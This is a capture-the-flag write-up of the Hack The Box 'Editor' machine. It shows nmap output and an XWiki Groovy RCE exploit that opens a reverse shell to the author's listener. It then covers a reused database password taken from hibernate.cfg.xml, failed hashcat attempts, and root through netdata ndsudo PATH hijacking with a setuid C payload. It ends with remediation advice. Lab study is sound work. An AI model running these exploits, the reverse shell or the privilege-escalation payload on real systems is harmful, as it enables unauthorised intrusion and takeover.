https://www.hackthebox.com/machines/Editor

OS: Linux

10.129.231.23

Credentials:

UsernamePasswordNotes/Hash

nmap results:

# Nmap 7.99 scan initiated Thu Jun 11 12:42:51 2026 as: /usr/lib/nmap/nmap -p- --open -sC -sV -A -vv -oA nmap/Editor 10.129.231.23
Nmap scan report for 10.129.231.23
Host is up, received echo-reply ttl 63 (0.022s latency).
Scanned at 2026-06-11 12:42:52 EDT for 41s
Not shown: 64828 closed tcp ports (reset), 704 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp   open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://editor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  http    syn-ack ttl 63 Jetty 10.0.20
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
|_http-server-header: Jetty(10.0.20)
| http-robots.txt: 50 disallowed entries (40 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
| /xwiki/bin/undelete/ /xwiki/bin/reset/ /xwiki/bin/register/ 
| /xwiki/bin/propupdate/ /xwiki/bin/propadd/ /xwiki/bin/propdisable/ 
| /xwiki/bin/propenable/ /xwiki/bin/propdelete/ /xwiki/bin/objectadd/ 
| /xwiki/bin/commentadd/ /xwiki/bin/commentsave/ /xwiki/bin/objectsync/ 
| /xwiki/bin/objectremove/ /xwiki/bin/attach/ /xwiki/bin/upload/ 
| /xwiki/bin/temp/ /xwiki/bin/downloadrev/ /xwiki/bin/dot/ 
| /xwiki/bin/delattachment/ /xwiki/bin/skin/ /xwiki/bin/jsx/ /xwiki/bin/ssx/ 
| /xwiki/bin/login/ /xwiki/bin/loginsubmit/ /xwiki/bin/loginerror/ 
|_/xwiki/bin/logout/
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.129.231.23:8080/xwiki/bin/view/Main/
|_http-open-proxy: Proxy might be redirecting requests
| http-methods: 
|   Supported Methods: OPTIONS GET HEAD PROPFIND LOCK UNLOCK
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
| http-webdav-scan: 
|   Server Type: Jetty(10.0.20)
|   WebDAV type: Unknown
|_  Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK**

Since port 80 redirects to http://editor.htb, let’s add that to our /etc/hosts

echo "10.129.231.23 editor.htb" >> /etc/hosts

and re-run the HTTP default scans:

# Nmap 7.99 scan initiated Thu Jun 11 13:02:36 2026 as: /usr/lib/nmap/nmap -p80 -sC -sV -vv -oA nmap/HTTPDefaultScan 10.129.231.23
Nmap scan report for editor.htb (10.129.231.23)
Host is up, received echo-reply ttl 63 (0.017s latency).
Scanned at 2026-06-11 13:02:36 EDT for 7s

PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Editor - SimplistCode Pro
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Attack + Enum Vectors

  • TCP 8080: HTTP Jetty 10.0.20
  • TCP 80: HTTP nginx 1.18.0
  • TCP 22: SSH OpenSSH 8.9p1

UDP (161 SNMP)?

  • closed

Service Enum Notes:

going on to:

http://10.129.231.23:8080

redirected us to:

http://10.129.231.23:8080/xwiki/bin/view/Main/

which exposed version on the bottom of the website:

XWiki Debian 15.10.8

Then, let’s search on google if there is public known exploits:

XWiki 15.10.8 exploit site:github.com

yields a result that we can try:

https://github.com/dollarboysushil/CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC

Initial Foothold

Let’s first clone the exploit:

git clone https://github.com/dollarboysushil/CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC

then run the exploit:

python3 CVE-2025-24893-dbs.py -h

oh it seems like it’s an interactive exploit?

   _______      ________    ___   ___ ___  _____     ___  _  _   ___   ___ ____  
  / ____\ \    / /  ____|  |__ \ / _ \__ \| ____|   |__ \| || | / _ \ / _ \___ \ 
 | |     \ \  / /| |__ ______ ) | | | ) | | |__ ______ ) | || || (_) | (_) |__) |
 | |      \ \/ / |  __|______/ /| | | |/ /|___ \______/ /|__   _> _ < \__, |__ < 
 | |____   \  /  | |____    / /_| |_| / /_ ___) |    / /_   | || (_) |  / /___) |
  \_____|   \/   |______|  |____|\___/____|____/    |____|  |_| \___/  /_/|____/                                                                                                                                  
                                                                                 
                                                                                 

           CVE-2025-24893 - XWiki Groovy RCE Exploit                                      
                   exploit by @dollarboysushil

[?] Enter target URL (including http:// or https:// e.g http://10.10.10.18.10:8080):

and let’s enter:

http://10.129.231.23:8080

then it prompts for:

[?] Enter your IP address (for reverse shell):

enter my HTB VPN IP address, and it asks for port, let’s set up listener first:

sudo nc -lvnp 1337

and enter 1337

[?] Enter the port number: 1337

waiting for a few seconds… We got reverse shell!

Stabilize the shell first:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

then Ctrl+Z to background the shell:

stty raw -echo;fg
reset

enter my terminal size:

stty rows 48 cols 210

and there we have a fully funcitoning shell!


Priv Esc

cat /etc/passwd | grep -i "sh"

shows:

root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
oliver:x:1000:1000:,,,:/home/oliver:/bin/bash

so we know there is another user called oliver

First we land in the directory:

xwiki@editor:/usr/lib/xwiki-jetty

which contains:

ls -lah
drwxr-xr-x  5 root root 4.0K Jul 29  2025 .
drwxr-xr-x 91 root root 4.0K Jul 29  2025 ..
drwxr-xr-x  6 root root 4.0K Jul 29  2025 jetty
lrwxrwxrwx  1 root root   14 Mar 27  2024 logs -> /var/log/xwiki
drwxr-xr-x  2 root root 4.0K Jul 29  2025 start.d
-rw-r--r--  1 root root 5.5K Mar 27  2024 start_xwiki.bat
-rw-r--r--  1 root root 6.1K Mar 27  2024 start_xwiki_debug.bat
-rw-r--r--  1 root root  11K Mar 27  2024 start_xwiki_debug.sh
-rw-r--r--  1 root root 9.2K Mar 27  2024 start_xwiki.sh
-rw-r--r--  1 root root 2.5K Mar 27  2024 stop_xwiki.bat
-rw-r--r--  1 root root 6.6K Mar 27  2024 stop_xwiki.sh
drwxr-xr-x  3 root root 4.0K Jun 13  2025 webapps

we can read these .sh, let’s note that down and maybe come back later.

looking at ps aux: it seems like the web service was started with xwiki:

xwiki       1259  0.0  0.0   7372  1920 ?        S    16:40   0:00 /bin/bash /usr/lib/xwiki-jetty/start_xwiki.sh

Interesting enough, there should be another HTTP port started on port 80

Anyways, let’s try to find the configuration file for xwiki: google:

xwiki configuration location for database settings

Google AI Overview tells us:

The primary file for XWiki database configuration is WEB-INF/hibernate.cfg.xml, which is located within your XWiki web application deployment directory

so let’s go into WEB-INF then:

cat hibernate.cfg.xml

Oh lodrd, such long output, let’s grep for pass:

cat hibernate.cfg.xml | grep -i "pass"

and we found: theEd1t0rTeam99, possibly xwiki as user:

cat hibernate.cfg.xml | grep -i "user"

shows xwiki. Try to use password for oliver? Failed, then enumerate mysql

mysql -u 'xwiki' -h localhost -p'theEd1t0rTeam99'

got in: show databases:

show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| xwiki              |
+--------------------+
5 rows in set (0.00 sec)

select xwiki first:

use xwiki

now look for tables:

show tables;

nothing too appealing, let’s look xwikistrings

select * from xwikistrings;

and we found a hash I believe?

hash:SHA-512:dac65976a9f09bcd15bd2c5c6eae4c43b06f316be7ae6b191db26580b1211bef:6b8f547e3742e998380da4f9d426773430a7982a946b9bfd94da0d7abe0d472c5ff08fcb8b0a90
8bc293da82298053ba348872099bd88f059a7838c38b670153

let me try breaking the hash, but there is a : in between so I am not sure if it’s 2 hashes or one is the salt or whatever, I will put separate it as 5 different hashes:

dac65976a9f09bcd15bd2c5c6eae4c43b06f316be7ae6b191db26580b1211bef
8bc293da82298053ba348872099bd88f059a7838c38b670153
6b8f547e3742e998380da4f9d426773430a7982a946b9bfd94da0d7abe0d472c5ff08fcb8b0a90
dac65976a9f09bcd15bd2c5c6eae4c43b06f316be7ae6b191db26580b1211bef:6b8f547e3742e998380da4f9d426773430a7982a946b9bfd94da0d7abe0d472c5ff08fcb8b0a90
6b8f547e3742e998380da4f9d426773430a7982a946b9bfd94da0d7abe0d472c5ff08fcb8b0a908bc293da82298053ba348872099bd88f059a7838c38b670153

But since we got a hint it’s SHA-512 hashes, then the possible character length is: 64, 88, 128. Now let’s count each character length:

awk '{print length}' hashes.txt
64
50
78
143
128

which means that the first and last one is most likely to be valid:

hashcat hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-AMD Ryzen 9 5950X 16-Core Processor, 6955/13911 MB (2048 MB allocatable), 8MCU

The following 18 hash-modes match the structure of your input hash:
      # | Name                                                       | Category
  ======+============================================================+======================================
  34600 | MD6 (256)                                                  | Raw Hash
   1400 | SHA2-256                                                   | Raw Hash
   1700 | SHA2-512                                                   | Raw Hash
  17400 | SHA3-256                                                   | Raw Hash
  17600 | SHA3-512                                                   | Raw Hash
  11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian           | Raw Hash
  11800 | GOST R 34.11-2012 (Streebog) 512-bit, big-endian           | Raw Hash
   6900 | GOST R 34.11-94                                            | Raw Hash
  17800 | Keccak-256                                                 | Raw Hash
  18000 | Keccak-512                                                 | Raw Hash
  31100 | ShangMi 3 (SM3)                                            | Raw Hash
   6100 | Whirlpool                                                  | Raw Hash
   1470 | sha256(utf16le($pass))                                     | Raw Hash
   1770 | sha512(utf16le($pass))                                     | Raw Hash
  20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated
  21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated
   5720 | Cisco-ISE Hashed Password (SHA256)                         | Operating System
  21000 | BitShares v0.x - sha512(sha512_bin(pass))                  | Cryptocurrency Wallet

I really hope I am not in a rabbit hole and this gets us something. Let’s first crack for hashes that are SHA-512, so -m = 1700,17600,1770

hashcat -m 1700 hashes.txt /usr/share/wordlists/rockyou.txt

exhausted

hashcat -m 1770 hashes.txt /usr/share/wordlists/rockyou.txt

exhausted, and:

hashcat -m 17600 hashes.txt /usr/share/wordlists/rockyou.txt

exhausted. Let’s try implementing rules?

hashcat -m 1770 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

exhausted

hashcat -m 1700 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

exhasuted, I probably fell in a rabbit hole:

hashcat -m 17600 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

Let’s try the salted one since we’re already in rabbit hole anyway:

20800 | sha256(md5($pass)) 
hashcat -m 20800 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 20800 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

exhausted again… Let’s go back and re-enumerate

I was pretty sure I am on the right track? HTB boxes tend to re-use DB passwords: I tried using theEd1t0rTeam99 password to su oliver but didn’t work. However:

and using the password:

theEd1t0rTeam99

we got in as oliver? Wow, lesson learned, we should try password on both su and ssh to see if we can gain further access

id

returns:

uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)

and look for SUID bits:

find / -perm -u=s -type f 2>/dev/null

yields non-default programs:

/opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network
/opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/local-listeners
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
/opt/netdata/usr/libexec/netdata/plugins.d/ioping
/opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin

Interesting, I have a feeling this is the path, let’s google:

netdata privilege escalation

yields an interesting result that we may be able to abuse:

https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93

so appearantly it searches for the PATH variable for commands, in which we can hijack the path variable with a malicious payload and execute it in our desire:

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo -h

doesn’t show the version but shows a list of commands:

The following commands are supported:

- Command    : nvme-list
  Executables: nvme 
  Parameters : list --output-format=json

- Command    : nvme-smart-log
  Executables: nvme 
  Parameters : smart-log {{device}} --output-format=json

- Command    : megacli-disk-info
  Executables: megacli MegaCli 
  Parameters : -LDPDInfo -aAll -NoLog

- Command    : megacli-battery-info
  Executables: megacli MegaCli 
  Parameters : -AdpBbuCmd -aAll -NoLog

- Command    : arcconf-ld-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 LD

- Command    : arcconf-pd-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 PD

Let’s try to hijack the nvme executable then:

PATH=.:$PATH

then we create a malicious payload:

#!/bin/bash
chmod +s /bin/bash

named nvme and give it execute permissions:

chmod +x nvme

and run:

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

returned insufficient permissions error:

This means we probably need to make a program that is able to make itself with SUID permissions and execute it with the SUID root permissions that ndsudo has:

I used: https://github.com/T1erno/CVE-2024-32019-Netdata-ndsudo-Privilege-Escalation-PoC/blob/master/payload.c code to obtain a root shell:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}

then compile it with the VHL taught way (since target has no gcc):

gcc -static test.c -o nvme

and transfer the new nvme to target

chmod +x nvme

then:

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

We got root shell!

Therefore, pwn’d.


Conclusion & Remediation

This lab has quite a lot of rabbit holes, but with my previous experiences I identified them and quickly worked around them: the port 80 HTTP, and databases, etc. Also, I got to learn about how sometimes su doesn’t work and ssh does work with credentials.

To remediate for similar attacks in this lab: system administrators needs to update the vulnerable xwiki to the most up to date version, and should keep users from re-using the same password for their account and any services. In addition, SUID binary programs should be most up to date to mitigate local privilege escalation risks.

Digging More:

As I was researching, I came across https://0xdf.gitlab.io/2025/12/06/htb-editor.html#beyond-root and essentially su need to have SUID bit set to be able to successfully authenticate with password, but NoNewPrivileges=true in /lib/systemd/system/xwiki.service makes it so that we our su on the xwiki user does not have the SUID bit set therefore cannot authenticate us to oliver